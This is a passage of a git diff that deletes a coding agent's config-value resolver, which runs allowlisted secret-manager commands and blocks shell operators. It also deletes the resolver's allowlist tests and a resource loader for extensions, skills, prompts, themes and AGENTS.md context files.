allowlist", - ); - assert.ok( - stderrChunks.some((line) => - line.includes('Blocked disallowed command: "sops"'), - ), - "should log a block message for sops", - ); - - stderrChunks.length = 0; - clearConfigValueCache(); - - // Fix: override the allowlist to include sops - setAllowedCommandPrefixes([...SAFE_COMMAND_PREFIXES, "sops"]); - resolveConfigValue("!sops decrypt --output-type json secrets.enc.json"); - - const blockedAfterOverride = stderrChunks.some((line) => - line.includes("Blocked disallowed command"), - ); - assert.equal( - blockedAfterOverride, - false, - "sops must not be blocked after override", - ); - } finally { - process.stderr.write = originalWrite; - } - }); -}); - -describe("setAllowedCommandPrefixes — user override", () => { - afterEach(() => { - setAllowedCommandPrefixes(SAFE_COMMAND_PREFIXES); - clearConfigValueCache(); - }); - - it("overrides built-in prefixes with custom list", () => { - setAllowedCommandPrefixes(["sops", "doppler"]); - assert.deepEqual([...getAllowedCommandPrefixes()], ["sops", "doppler"]); - }); - - it("custom prefix is allowed through to execution", () => { - const stderrChunks: string[] = []; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - stderrChunks.push(chunk.toString()); - return true; - }; - try { - setAllowedCommandPrefixes(["mycli"]); - resolveConfigValue("!mycli get-secret"); - const blocked = stderrChunks.some((line) => - line.includes("Blocked disallowed command"), - ); - assert.equal( - blocked, - false, - "mycli should not be blocked when in the custom allowlist", - ); - } finally { - process.stderr.write = originalWrite; - } - }); - - it("previously-allowed prefix is blocked after override", () => { - const stderrChunks: string[] = []; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - stderrChunks.push(chunk.toString()); - return true; - }; - try { - setAllowedCommandPrefixes(["sops"]); - const result = resolveConfigValue("!pass show secret"); - assert.equal(result, undefined); - const blocked = stderrChunks.some((line) => - line.includes("Blocked disallowed command"), - ); - assert.equal( - blocked, - true, - "pass should be blocked when not in the custom allowlist", - ); - } finally { - process.stderr.write = originalWrite; - } - }); - - it("clears cache when overriding prefixes", () => { - const stderrChunks: string[] = []; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - stderrChunks.push(chunk.toString()); - return true; - }; - try { - resolveConfigValue("!mycli get-secret"); - assert.ok(stderrChunks.some((line) => line.includes("Blocked"))); - - stderrChunks.length = 0; - - setAllowedCommandPrefixes(["mycli"]); - resolveConfigValue("!mycli get-secret"); - const blocked = stderrChunks.some((line) => line.includes("Blocked")); - assert.equal(blocked, false, "Should re-evaluate after allowlist change"); - } finally { - process.stderr.write = originalWrite; - } - }); -}); diff --git a/packages/pi-coding-agent/src/core/resolve-config-value.ts b/packages/pi-coding-agent/src/core/resolve-config-value.ts deleted file mode 100644 index c7fe225cc..000000000 --- a/packages/pi-coding-agent/src/core/resolve-config-value.ts +++ /dev/null @@ -1,170 +0,0 @@ -/** - * Resolve configuration values that may be shell commands, environment variables, or literals. - * Used by auth-storage.ts and model-registry.ts. - */ - -import { execFileSync } from "node:child_process"; -import { COMMAND_EXECUTION_TIMEOUT_MS } from "./constants.js"; - -const SHELL_OPERATORS = /[;|&`$><]/; - -// Cache for shell command results (persists for process lifetime) -const commandResultCache = new Map(); - -export const SAFE_COMMAND_PREFIXES = [ - "pass", - "op", - "aws", - "gcloud", - "vault", - "security", - "gpg", - "bw", - "gopass", - "lpass", -]; - -/** - * Active command prefix allowlist. Defaults to SAFE_COMMAND_PREFIXES but can be - * overridden via setAllowedCommandPrefixes() (called from settings or env var). - */ -let activeCommandPrefixes: string[] = SAFE_COMMAND_PREFIXES; - -/** - * Replace the active command prefix allowlist. - * Called during initialization when the user has configured `allowedCommandPrefixes` - * in global settings.json or via the SF_ALLOWED_COMMAND_PREFIXES env var. - */ -export function setAllowedCommandPrefixes(prefixes: string[]): void { - if (prefixes.length === 0) { - process.stderr.write( - "[resolve-config-value] Warning: empty command prefix allowlist — all !commands will be blocked\n", - ); - } - activeCommandPrefixes = prefixes; - clearConfigValueCache(); -} - -/** Get the currently active command prefix allowlist. */ -export function getAllowedCommandPrefixes(): readonly string[] { - return activeCommandPrefixes; -} - -/** - * Resolve a config value (API key, header value, etc.) to an actual value. - * - If starts with "!", executes the rest as a shell command and uses stdout (cached) - * - Otherwise checks environment variable first, then treats as literal (not cached) - */ -export function resolveConfigValue(config: string): string | undefined { - if (config.startsWith("!")) { - return executeCommand(config); - } - const envValue = process.env[config]; - return envValue || config; -} - -function executeCommand(commandConfig: string): string | undefined { - if (commandResultCache.has(commandConfig)) { - return commandResultCache.get(commandConfig); - } - - const command = commandConfig.slice(1); - const tokens = command.split(/\s+/).filter(Boolean); - const firstToken = tokens[0]; - if (!activeCommandPrefixes.includes(firstToken)) { - process.stderr.write( - `[resolve-config-value] Blocked disallowed command: "${firstToken}". Allowed: ${activeCommandPrefixes.join(", ")}\n`, - ); - commandResultCache.set(commandConfig, undefined); - return undefined; - } - - if (SHELL_OPERATORS.test(command)) { - process.stderr.write( - `[resolve-config-value] Blocked shell operators in command: "${command}"\n`, - ); - commandResultCache.set(commandConfig, undefined); - return undefined; - } - - let result: string | undefined; - try { - const output = execFileSync(firstToken, tokens.slice(1), { - encoding: "utf-8", - timeout: COMMAND_EXECUTION_TIMEOUT_MS, - stdio: ["ignore", "pipe", "ignore"], - }); - result = output.trim() || undefined; - } catch { - result = undefined; - } - - commandResultCache.set(commandConfig, result); - return result; -} - -/** - * Resolve all header values using the same resolution logic as API keys. - */ -export function resolveHeaders( - headers: Record | undefined, -): Record | undefined { - if (!headers) return undefined; - const resolved: Record = {}; - for (const [key, value] of Object.entries(headers)) { - const resolvedValue = resolveConfigValue(value); - if (resolvedValue) { - resolved[key] = resolvedValue; - } - } - return Object.keys(resolved).length > 0 ? resolved : undefined; -} - -/** - * Async version of resolveConfigValue that also supports vault:// URIs. - * - If starts with "vault://", resolves from Vault (requires vault-resolver available) - * - If starts with "!", executes shell command - * - Otherwise resolves like sync version - */ -export async function resolveConfigValueAsync( - config: string, -): Promise { - if (!config) { - return undefined; - } - - // Vault URI resolution - if (config.startsWith("vault://")) { - try { - // Dynamic import of vault-resolver (available at runtime in SF agent context) - // Using Function constructor to avoid TypeScript compile-time path checking - // eslint-disable-next-line no-new-func - const vaultModule = await new Function( - 'return import("../../extensions/sf/vault-resolver.js")', - )(); - const resolveSecret = vaultModule.resolveSecret as ( - uri: string, - opts?: { failOpen?: boolean; cacheTtlMs?: number }, - ) => Promise<{ value: string }>; - const result = await resolveSecret(config, { failOpen: true }); - return result.value; - } catch { - // Vault module not available or resolution failed — fall back to literal - return config; - } - } - - // Shell command execution (sync path) - if (config.startsWith("!")) { - return executeCommand(config); - } - - // Environment variable or literal - const envValue = process.env[config]; - return envValue || config; -} - -/** Clear the config value command cache. Exported for testing. */ -export function clearConfigValueCache(): void { - commandResultCache.clear(); -} diff --git a/packages/pi-coding-agent/src/core/resource-loader-cache-reset.test.ts b/packages/pi-coding-agent/src/core/resource-loader-cache-reset.test.ts deleted file mode 100644 index 89011c263..000000000 --- a/packages/pi-coding-agent/src/core/resource-loader-cache-reset.test.ts +++ /dev/null @@ -1,45 +0,0 @@ -// SF — Regression test for #3616: reload() must reset jiti extension loader cache -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { describe, test } from "vitest"; - -const source = readFileSync( - join(process.cwd(), "packages/pi-coding-agent/src/core/resource-loader.ts"), - "utf-8", -); - -describe("#3616 — reload() must invalidate jiti module cache", () => { - test("resource-loader imports resetExtensionLoaderCache from loader.js", () => { - assert.ok( - source.includes("resetExtensionLoaderCache"), - "resource-loader.ts should import resetExtensionLoaderCache", - ); - assert.ok( - source.includes('from "./extensions/loader.js"'), - "resetExtensionLoaderCache should be imported from extensions/loader.js", - ); - }); - - test("reload() calls resetExtensionLoaderCache before loadExtensions", () => { - const reloadStart = source.indexOf("async reload(): Promise"); - assert.ok(reloadStart >= 0, "should find reload() method"); - const reloadBody = source.slice(reloadStart, reloadStart + 4000); - - const resetIdx = reloadBody.indexOf("resetExtensionLoaderCache()"); - assert.ok( - resetIdx >= 0, - "reload() should call resetExtensionLoaderCache()", - ); - - const loadIdx = reloadBody.indexOf("loadExtensions("); - assert.ok(loadIdx >= 0, "reload() should call loadExtensions"); - - assert.ok( - resetIdx < loadIdx, - "resetExtensionLoaderCache() must be called BEFORE loadExtensions to ensure fresh modules", - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/resource-loader.ts b/packages/pi-coding-agent/src/core/resource-loader.ts deleted file mode 100644 index 332a5ef4f..000000000 --- a/packages/pi-coding-agent/src/core/resource-loader.ts +++ /dev/null @@ -1,1122 +0,0 @@ -import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; -import { homedir } from "node:os"; -import { join, relative, resolve, sep } from "node:path"; -import chalk from "chalk"; -import { CONFIG_DIR_NAME, getAgentDir } from "../config.js"; -import { - loadThemeFromPath, - type Theme, -} from "../modes/interactive/theme/theme.js"; -import type { ResourceCollision, ResourceDiagnostic } from "./diagnostics.js"; - -export type { ResourceCollision, ResourceDiagnostic } from "./diagnostics.js"; - -import { createEventBus, type EventBus } from "./event-bus.js"; -import { - createExtensionRuntime, - loadExtensionFromFactory, - loadExtensions, - resetExtensionLoaderCache, -} from "./extensions/loader.js"; -import type { - Extension, - ExtensionFactory, - ExtensionRuntime, - LoadExtensionsResult, -} from "./extensions/types.js"; -import { DefaultPackageManager, type PathMetadata } from "./package-manager.js"; -import type { PromptTemplate } from "./prompt-templates.js"; -import { loadPromptTemplates } from "./prompt-templates.js"; -import { SettingsManager } from "./settings-manager.js"; -import type { Skill } from "./skills.js"; -import { loadSkills } from "./skills.js"; - -export interface ResourceExtensionPaths { - skillPaths?: Array<{ path: string; metadata: PathMetadata }>; - promptPaths?: Array<{ path: string; metadata: PathMetadata }>; - themePaths?: Array<{ path: string; metadata: PathMetadata }>; -} - -export interface ResourceLoader { - getExtensions(): LoadExtensionsResult; - getSkills(): { skills: Skill[]; diagnostics: ResourceDiagnostic[] }; - getPrompts(): { - prompts: PromptTemplate[]; - diagnostics: ResourceDiagnostic[]; - }; - getThemes(): { themes: Theme[]; diagnostics: ResourceDiagnostic[] }; - getAgentsFiles(): { agentsFiles: Array<{ path: string; content: string }> }; - getSystemPrompt(): string | undefined; - getAppendSystemPrompt(): string[]; - getPathMetadata(): Map; - extendResources(paths: ResourceExtensionPaths): void; - reload(): Promise; -} - -function resolvePromptInput( - input: string | undefined, - description: string, -): string | undefined { - if (!input) { - return undefined; - } - - if (existsSync(input)) { - try { - return readFileSync(input, "utf-8"); - } catch (error) { - console.error( - chalk.yellow( - `Warning: Could not read ${description} file ${input}: ${error}`, - ), - ); - return input; - } - } - - return input; -} - -function loadContextFileFromDir( - dir: string, -): { path: string; content: string } | null { - const candidates = ["AGENTS.md", "CLAUDE.md"]; - for (const filename of candidates) { - const filePath = join(dir, filename); - if (existsSync(filePath)) { - try { - return { - path: filePath, - content: readFileSync(filePath, "utf-8"), - }; - } catch (error) { - console.error( - chalk.yellow(`Warning: Could not read ${filePath}: ${error}`), - ); - } - } - } - return null; -} - -function loadProjectContextFiles( - options: { cwd?: string; agentDir?: string } = {}, -): Array<{ path: string; content: string }> { - const resolvedCwd = options.cwd ?? process.cwd(); - const resolvedAgentDir = options.agentDir ?? getAgentDir(); - - const contextFiles: Array<{ path: string; content: string }> = []; - const seenPaths = new Set(); - - const globalContext = loadContextFileFromDir(resolvedAgentDir); - if (globalContext) { - contextFiles.push(globalContext); - seenPaths.add(globalContext.path); - } - - const ancestorContextFiles: Array<{ path: string; content: string }> = []; - - let currentDir = resolvedCwd; - const root = resolve("/"); - - while (true) { - const contextFile = loadContextFileFromDir(currentDir); - if (contextFile && !seenPaths.has(contextFile.path)) { - ancestorContextFiles.unshift(contextFile); - seenPaths.add(contextFile.path); - } - - if (currentDir === root) break; - - const parentDir = resolve(currentDir, ".."); - if (parentDir === currentDir) break; - currentDir = parentDir; - } - - contextFiles.push(...ancestorContextFiles); - - return contextFiles; -} - -export interface DefaultResourceLoaderOptions { - cwd?: string; - agentDir?: string; - settingsManager?: SettingsManager; - eventBus?: EventBus; - additionalExtensionPaths?: string[]; - additionalSkillPaths?: string[]; - additionalPromptTemplatePaths?: string[]; - additionalThemePaths?: string[]; - extensionFactories?: ExtensionFactory[]; - bundledExtensionKeys?: Set; - noExtensions?: boolean; - noSkills?: boolean; - noPromptTemplates?: boolean; - noThemes?: boolean; - systemPrompt?: string; - appendSystemPrompt?: string; - /** Names of bundled extensions (used to identify built-in extensions in conflict detection). */ - bundledExtensionNames?: Set; - /** - * Transform extension paths before loading. Receives the merged list of all - * discovered extension paths and returns a (possibly reordered/filtered) list. - * Use this to apply dependency sorting or registry-based filtering. - */ - extensionPathsTransform?: (paths: string[]) => { - paths: string[]; - diagnostics?: string[]; - }; - extensionsOverride?: (base: LoadExtensionsResult) => LoadExtensionsResult; - skillsOverride?: (base: { - skills: Skill[]; - diagnostics: ResourceDiagnostic[]; - }) => { - skills: Skill[]; - diagnostics: ResourceDiagnostic[]; - }; - promptsOverride?: (base: { - prompts: PromptTemplate[]; - diagnostics: ResourceDiagnostic[]; - }) => { - prompts: PromptTemplate[]; - diagnostics: ResourceDiagnostic[]; - }; - themesOverride?: (base: { - themes: Theme[]; - diagnostics: ResourceDiagnostic[]; - }) => { - themes: Theme[]; - diagnostics: ResourceDiagnostic[]; - }; - agentsFilesOverride?: (base: { - agentsFiles: Array<{ path: string; content: string }>; - }) => { - agentsFiles: Array<{ path: string; content: string }>; - }; - systemPromptOverride?: (base: string | undefined) => string | undefined; - appendSystemPromptOverride?: (base: string[]) => string[]; -} - -export class DefaultResourceLoader implements ResourceLoader { - private cwd: string; - private agentDir: string; - private settingsManager: SettingsManager; - private eventBus: EventBus; - private packageManager: DefaultPackageManager; - private bundledExtensionKeys: Set; - private additionalExtensionPaths: string[]; - private additionalSkillPaths: string[]; - private additionalPromptTemplatePaths: string[]; - private additionalThemePaths: string[]; - private extensionFactories: ExtensionFactory[]; - private noExtensions: boolean; - private noSkills: boolean; - private noPromptTemplates: boolean; - private noThemes: boolean; - private systemPromptSource?: string; - private appendSystemPromptSource?: string; - private bundledExtensionNames: Set; - private extensionPathsTransform?: (paths: string[]) => { - paths: string[]; - diagnostics?: string[]; - }; - private extensionsOverride?: ( - base: LoadExtensionsResult, - ) => LoadExtensionsResult; - private skillsOverride?: (base: { - skills: Skill[]; - diagnostics: ResourceDiagnostic[]; - }) => { - skills: Skill[]; - diagnostics: ResourceDiagnostic[]; - }; - private promptsOverride?: (base: { - prompts: PromptTemplate[]; - diagnostics: ResourceDiagnostic[]; - }) => { - prompts: PromptTemplate[]; - diagnostics: ResourceDiagnostic[]; - }; - private themesOverride?: (base: { - themes: Theme[]; - diagnostics: ResourceDiagnostic[]; - }) => { - themes: Theme[]; - diagnostics: ResourceDiagnostic[]; - }; - private agentsFilesOverride?: (base: { - agentsFiles: Array<{ path: string; content: string }>; - }) => { - agentsFiles: Array<{ path: string; content: string }>; - }; - private systemPromptOverride?: ( - base: string | undefined, - ) => string | undefined; - private appendSystemPromptOverride?: (base: string[]) => string[]; - - private extensionsResult: LoadExtensionsResult; - private skills: Skill[]; - private skillDiagnostics: ResourceDiagnostic[]; - private prompts: PromptTemplate[]; - private promptDiagnostics: ResourceDiagnostic[]; - private themes: Theme[]; - private themeDiagnostics: ResourceDiagnostic[]; - private agentsFiles: Array<{ path: string; content: string }>; - private systemPrompt?: string; - private appendSystemPrompt: string[]; - private pathMetadata: Map; - private lastSkillPaths: string[]; - private lastPromptPaths: string[]; - private lastThemePaths: string[]; - - constructor(options: DefaultResourceLoaderOptions) { - this.cwd = options.cwd ?? process.cwd(); - this.agentDir = options.agentDir ?? getAgentDir(); - this.settingsManager = - options.settingsManager ?? - SettingsManager.create(this.cwd, this.agentDir); - this.eventBus = options.eventBus ?? createEventBus(); - this.packageManager = new DefaultPackageManager({ - cwd: this.cwd, - agentDir: this.agentDir, - settingsManager: this.settingsManager, - }); - this.bundledExtensionKeys = options.bundledExtensionKeys ?? new Set(); - this.additionalExtensionPaths = options.additionalExtensionPaths ?? []; - this.additionalSkillPaths = options.additionalSkillPaths ?? []; - this.additionalPromptTemplatePaths = - options.additionalPromptTemplatePaths ?? []; - this.additionalThemePaths = options.additionalThemePaths ?? []; - this.extensionFactories = options.extensionFactories ?? []; - this.noExtensions = options.noExtensions ?? false; - this.noSkills = options.noSkills ?? false; - this.noPromptTemplates = options.noPromptTemplates ?? false; - this.noThemes = options.noThemes ?? false; - this.systemPromptSource = options.systemPrompt; - this.appendSystemPromptSource = options.appendSystemPrompt; - this.bundledExtensionNames = options.bundledExtensionNames ?? new Set(); - this.extensionPathsTransform = options.extensionPathsTransform; - this.extensionsOverride = options.extensionsOverride; - this.skillsOverride = options.skillsOverride; - this.promptsOverride = options.promptsOverride; - this.themesOverride = options.themesOverride; - this.agentsFilesOverride = options.agentsFilesOverride; - this.systemPromptOverride = options.systemPromptOverride; - this.appendSystemPromptOverride = options.appendSystemPromptOverride; - - this.extensionsResult = { - extensions: [], - errors: [], - runtime: createExtensionRuntime(), - }; - this.skills = []; - this.skillDiagnostics = []; - this.prompts = []; - this.promptDiagnostics = []; - this.themes = []; - this.themeDiagnostics = []; - this.agentsFiles = []; - this.appendSystemPrompt = []; - this.pathMetadata = new Map(); - this.lastSkillPaths = []; - this.lastPromptPaths = []; - this.lastThemePaths = []; - } - - getExtensions(): LoadExtensionsResult { - return this.extensionsResult; - } - - getSkills(): { skills: Skill[]; diagnostics: ResourceDiagnostic[] } { - return { skills: this.skills, diagnostics: this.skillDiagnostics }; - } - - getPrompts(): { - prompts: PromptTemplate[]; - diagnostics: ResourceDiagnostic[]; - } { - return { prompts: this.prompts, diagnostics: this.promptDiagnostics }; - } - - getThemes(): { themes: Theme[]; diagnostics: ResourceDiagnostic[] } { - return { themes: this.themes, diagnostics: this.themeDiagnostics }; - } - - getAgentsFiles(): { agentsFiles: Array<{ path: string; content: string }> } { - return { agentsFiles: this.agentsFiles }; - } - - getSystemPrompt(): string | undefined { - return this.systemPrompt; - } - - getAppendSystemPrompt(): string[] { - return this.appendSystemPrompt; - } - - getPathMetadata(): Map { - return this.pathMetadata; - } - - extendResources(paths: ResourceExtensionPaths): void { - const skillPaths = this.normalizeExtensionPaths(paths.skillPaths ?? []); - const promptPaths = this.normalizeExtensionPaths(paths.promptPaths ?? []); - const themePaths = this.normalizeExtensionPaths(paths.themePaths ?? []); - - if (skillPaths.length > 0) { - this.lastSkillPaths = this.mergePaths( - this.lastSkillPaths, - skillPaths.map((entry) => entry.path), - ); - this.updateSkillsFromPaths(this.lastSkillPaths, skillPaths); - } - - if (promptPaths.length > 0) { - this.lastPromptPaths = this.mergePaths( - this.lastPromptPaths, - promptPaths.map((entry) => entry.path), - ); - this.updatePromptsFromPaths(this.lastPromptPaths, promptPaths); - } - - if (themePaths.length > 0) { - this.lastThemePaths = this.mergePaths( - this.lastThemePaths, - themePaths.map((entry) => entry.path), - ); - this.updateThemesFromPaths(this.lastThemePaths, themePaths); - } - } - - async reload(): Promise { - // Invalidate the shared jiti module cache so updated extension code - // on disk is re-compiled instead of served from the stale cache (#3616). - resetExtensionLoaderCache(); - - const resolvedPaths = await this.packageManager.resolve(); - const cliExtensionPaths = await this.packageManager.resolveExtensionSources( - this.additionalExtensionPaths, - { - temporary: true, - }, - ); - - // Helper to extract enabled paths and store metadata - const getEnabledResources = ( - resources: Array<{ - path: string; - enabled: boolean; - metadata: PathMetadata; - }>, - ): Array<{ path: string; enabled: boolean; metadata: PathMetadata }> => { - for (const r of resources) { - if (!this.pathMetadata.has(r.path)) { - this.pathMetadata.set(r.path, r.metadata); - } - } - return resources.filter((r) => r.enabled); - }; - - const getEnabledPaths = ( - resources: Array<{ - path: string; - enabled: boolean; - metadata: PathMetadata; - }>, - ): string[] => getEnabledResources(resources).map((r) => r.path); - - // Store metadata and get enabled paths - this.pathMetadata = new Map(); - const enabledExtensions = getEnabledPaths(resolvedPaths.extensions); - const enabledSkillResources = getEnabledResources(resolvedPaths.skills); - const enabledPrompts = getEnabledPaths(resolvedPaths.prompts); - const enabledThemes = getEnabledPaths(resolvedPaths.themes); - - const mapSkillPath = (resource: { - path: string; - metadata: PathMetadata; - }): string => { - if ( - resource.metadata.source !== "auto" && - resource.metadata.origin !== "package" - ) { - return resource.path; - } - try { - const stats = statSync(resource.path); - if (!stats.isDirectory()) { - return resource.path; - } - } catch { - return resource.path; - } - const skillFile = join(resource.path, "SKILL.md"); - if (existsSync(skillFile)) { - if (!this.pathMetadata.has(skillFile)) { - this.pathMetadata.set(skillFile, resource.metadata); - } - return skillFile; - } - return resource.path; - }; - - const enabledSkills = enabledSkillResources.map(mapSkillPath); - - // Add CLI paths metadata - for (const r of cliExtensionPaths.extensions) { - if (!this.pathMetadata.has(r.path)) { - this.pathMetadata.set(r.path, { - source: "cli", - scope: "temporary", - origin: "top-level", - }); - } - } - for (const r of cliExtensionPaths.skills) { - if (!this.pathMetadata.has(r.path)) { - this.pathMetadata.set(r.path, { - source: "cli", - scope: "temporary", - origin: "top-level", - }); - } - } - - const cliEnabledExtensions = getEnabledPaths(cliExtensionPaths.extensions); - const cliEnabledSkills = getEnabledPaths(cliExtensionPaths.skills); - const cliEnabledPrompts = getEnabledPaths(cliExtensionPaths.prompts); - const cliEnabledThemes = getEnabledPaths(cliExtensionPaths.themes); - - let extensionPaths = this.noExtensions - ? cliEnabledExtensions - : this.mergePaths(cliEnabledExtensions, enabledExtensions); - - // Apply path transform (dependency sorting, registry filtering) if provided - if (this.extensionPathsTransform) { - const transformed = this.extensionPathsTransform(extensionPaths); - extensionPaths = transformed.paths; - if (transformed.diagnostics?.length) { - for (const msg of transformed.diagnostics) { - process.stderr.write(`[extensions] ${msg}\n`); - } - } - } - - const extensionsResult = await loadExtensions( - extensionPaths, - this.cwd, - this.eventBus, - ); - const inlineExtensions = await this.loadExtensionFactories( - extensionsResult.runtime, - ); - extensionsResult.extensions.push(...inlineExtensions.extensions); - extensionsResult.errors.push(...inlineExtensions.errors); - - // Detect extension conflicts (tools, commands, flags with same names from different extensions) - // Keep all extensions loaded. Conflicts are reported as diagnostics, and precedence is handled by load order. - const conflicts = this.detectExtensionConflicts( - extensionsResult.extensions, - ); - for (const conflict of conflicts) { - extensionsResult.errors.push({ - path: conflict.path, - error: conflict.message, - }); - } - - this.extensionsResult = this.extensionsOverride - ? this.extensionsOverride(extensionsResult) - : extensionsResult; - - const skillPaths = this.noSkills - ? this.mergePaths(cliEnabledSkills, this.additionalSkillPaths) - : this.mergePaths( - [...enabledSkills, ...cliEnabledSkills], - this.additionalSkillPaths, - ); - - this.lastSkillPaths = skillPaths; - this.updateSkillsFromPaths(skillPaths); - - const promptPaths = this.noPromptTemplates - ? this.mergePaths(cliEnabledPrompts, this.additionalPromptTemplatePaths) - : this.mergePaths( - [...enabledPrompts, ...cliEnabledPrompts], - this.additionalPromptTemplatePaths, - ); - - this.lastPromptPaths = promptPaths; - this.updatePromptsFromPaths(promptPaths); - - const themePaths = this.noThemes - ? this.mergePaths(cliEnabledThemes, this.additionalThemePaths) - : this.mergePaths( - [...enabledThemes, ...cliEnabledThemes], - this.additionalThemePaths, - ); - - this.lastThemePaths = themePaths; - this.updateThemesFromPaths(themePaths); - - for (const extension of this.extensionsResult.extensions) { - this.addDefaultMetadataForPath(extension.path); - } - - const agentsFiles = { - agentsFiles: loadProjectContextFiles({ - cwd: this.cwd, - agentDir: this.agentDir, - }), - }; - const resolvedAgentsFiles = this.agentsFilesOverride - ? this.agentsFilesOverride(agentsFiles) - : agentsFiles; - this.agentsFiles = resolvedAgentsFiles.agentsFiles; - - const baseSystemPrompt = resolvePromptInput( - this.systemPromptSource ?? this.discoverFileInSearchPaths("SYSTEM.md"), - "system prompt", - ); - this.systemPrompt = this.systemPromptOverride - ? this.systemPromptOverride(baseSystemPrompt) - : baseSystemPrompt; - - const appendSource = - this.appendSystemPromptSource ?? - this.discoverFileInSearchPaths("APPEND_SYSTEM.md"); - const resolvedAppend = resolvePromptInput( - appendSource, - "append system prompt", - ); - const baseAppend = resolvedAppend ? [resolvedAppend] : []; - this.appendSystemPrompt = this.appendSystemPromptOverride - ? this.appendSystemPromptOverride(baseAppend) - : baseAppend; - } - - private normalizeExtensionPaths( - entries: Array<{ path: string; metadata: PathMetadata }>, - ): Array<{ path: string; metadata: PathMetadata }> { - return entries.map((entry) => ({ - path: this.resolveResourcePath(entry.path), - metadata: entry.metadata, - })); - } - - private updateSkillsFromPaths( - skillPaths: string[], - extensionPaths: Array<{ path: string; metadata: PathMetadata }> = [], - ): void { - let skillsResult: { skills: Skill[]; diagnostics: ResourceDiagnostic[] }; - if (this.noSkills && skillPaths.length === 0) { - skillsResult = { skills: [], diagnostics: [] }; - } else { - skillsResult = loadSkills({ - cwd: this.cwd, - agentDir: this.agentDir, - skillPaths, - includeDefaults: false, - }); - } - const resolvedSkills = this.skillsOverride - ? this.skillsOverride(skillsResult) - : skillsResult; - this.skills = resolvedSkills.skills; - this.skillDiagnostics = resolvedSkills.diagnostics; - this.applyExtensionMetadata( - extensionPaths, - this.skills.map((skill) => skill.filePath), - ); - for (const skill of this.skills) { - this.addDefaultMetadataForPath(skill.filePath); - } - } - - private updatePromptsFromPaths( - promptPaths: string[], - extensionPaths: Array<{ path: string; metadata: PathMetadata }> = [], - ): void { - let promptsResult: { - prompts: PromptTemplate[]; - diagnostics: ResourceDiagnostic[]; - }; - if (this.noPromptTemplates && promptPaths.length === 0) { - promptsResult = { prompts: [], diagnostics: [] }; - } else { - const allPrompts = loadPromptTemplates({ - cwd: this.cwd, - agentDir: this.agentDir, - promptPaths, - includeDefaults: false, - }); - const deduped = this.dedupeResources(allPrompts, { - getName: (p) => p.name, - getPath: (p) => p.filePath, - resourceType: "prompt", - namePrefix: "/", - }); - promptsResult = { - prompts: deduped.items, - diagnostics: deduped.diagnostics, - }; - } - const resolvedPrompts = this.promptsOverride - ? this.promptsOverride(promptsResult) - : promptsResult; - this.prompts = resolvedPrompts.prompts; - this.promptDiagnostics = resolvedPrompts.diagnostics; - this.applyExtensionMetadata( - extensionPaths, - this.prompts.map((prompt) => prompt.filePath), - ); - for (const prompt of this.prompts) { - this.addDefaultMetadataForPath(prompt.filePath); - } - } - - private updateThemesFromPaths( - themePaths: string[], - extensionPaths: Array<{ path: string; metadata: PathMetadata }> = [], - ): void { - let themesResult: { themes: Theme[]; diagnostics: ResourceDiagnostic[] }; - if (this.noThemes && themePaths.length === 0) { - themesResult = { themes: [], diagnostics: [] }; - } else { - const loaded = this.loadThemes(themePaths, false); - const deduped = this.dedupeResources(loaded.themes, { - getName: (t) => t.name ?? "unnamed", - getPath: (t) => t.sourcePath, - resourceType: "theme", - }); - themesResult = { - themes: deduped.items, - diagnostics: [...loaded.diagnostics, ...deduped.diagnostics], - }; - } - const resolvedThemes = this.themesOverride - ? this.themesOverride(themesResult) - : themesResult; - this.themes = resolvedThemes.themes; - this.themeDiagnostics = resolvedThemes.diagnostics; - const themePathsWithSource = this.themes.flatMap((theme) => - theme.sourcePath ? [theme.sourcePath] : [], - ); - this.applyExtensionMetadata(extensionPaths, themePathsWithSource); - for (const theme of this.themes) { - if (theme.sourcePath) { - this.addDefaultMetadataForPath(theme.sourcePath); - } - } - } - - private applyExtensionMetadata( - extensionPaths: Array<{ path: string; metadata: PathMetadata }>, - resourcePaths: string[], - ): void { - if (extensionPaths.length === 0) { - return; - } - - const normalized = extensionPaths.map((entry) => ({ - path: resolve(entry.path), - metadata: entry.metadata, - })); - - for (const entry of normalized) { - if (!this.pathMetadata.has(entry.path)) { - this.pathMetadata.set(entry.path, entry.metadata); - } - } - - for (const resourcePath of resourcePaths) { - const normalizedResourcePath = resolve(resourcePath); - if ( - this.pathMetadata.has(normalizedResourcePath) || - this.pathMetadata.has(resourcePath) - ) { - continue; - } - const match = normalized.find( - (entry) => - normalizedResourcePath === entry.path || - normalizedResourcePath.startsWith(`${entry.path}${sep}`), - ); - if (match) { - this.pathMetadata.set(normalizedResourcePath, match.metadata); - } - } - } - - private mergePaths(primary: string[], additional: string[]): string[] { - const merged: string[] = []; - const seen = new Set(); - - for (const p of [...primary, ...additional]) { - const resolved = this.resolveResourcePath(p); - if (seen.has(resolved)) continue; - seen.add(resolved); - merged.push(resolved); - } - - return merged; - } - - private resolveResourcePath(p: string): string { - const trimmed = p.trim(); - let expanded = trimmed; - if (trimmed === "~") { - expanded = homedir(); - } else if (trimmed.startsWith("~/")) { - expanded = join(homedir(), trimmed.slice(2)); - } else if (trimmed.startsWith("~")) { - expanded = join(homedir(), trimmed.slice(1)); - } - return resolve(this.cwd, expanded); - } - - private loadThemes( - paths: string[], - includeDefaults: boolean = true, - ): { - themes: Theme[]; - diagnostics: ResourceDiagnostic[]; - } { - const themes: Theme[] = []; - const diagnostics: ResourceDiagnostic[] = []; - if (includeDefaults) { - const defaultDirs = [ - join(this.agentDir, "themes"), - join(this.cwd, CONFIG_DIR_NAME, "themes"), - ]; - - for (const dir of defaultDirs) { - this.loadThemesFromDir(dir, themes, diagnostics); - } - } - - for (const p of paths) { - const resolved = resolve(this.cwd, p); - if (!existsSync(resolved)) { - diagnostics.push({ - type: "warning", - message: "theme path does not exist", - path: resolved, - }); - continue; - } - - try { - const stats = statSync(resolved); - if (stats.isDirectory()) { - this.loadThemesFromDir(resolved, themes, diagnostics); - } else if (stats.isFile() && resolved.endsWith(".json")) { - this.loadThemeFromFile(resolved, themes, diagnostics); - } else { - 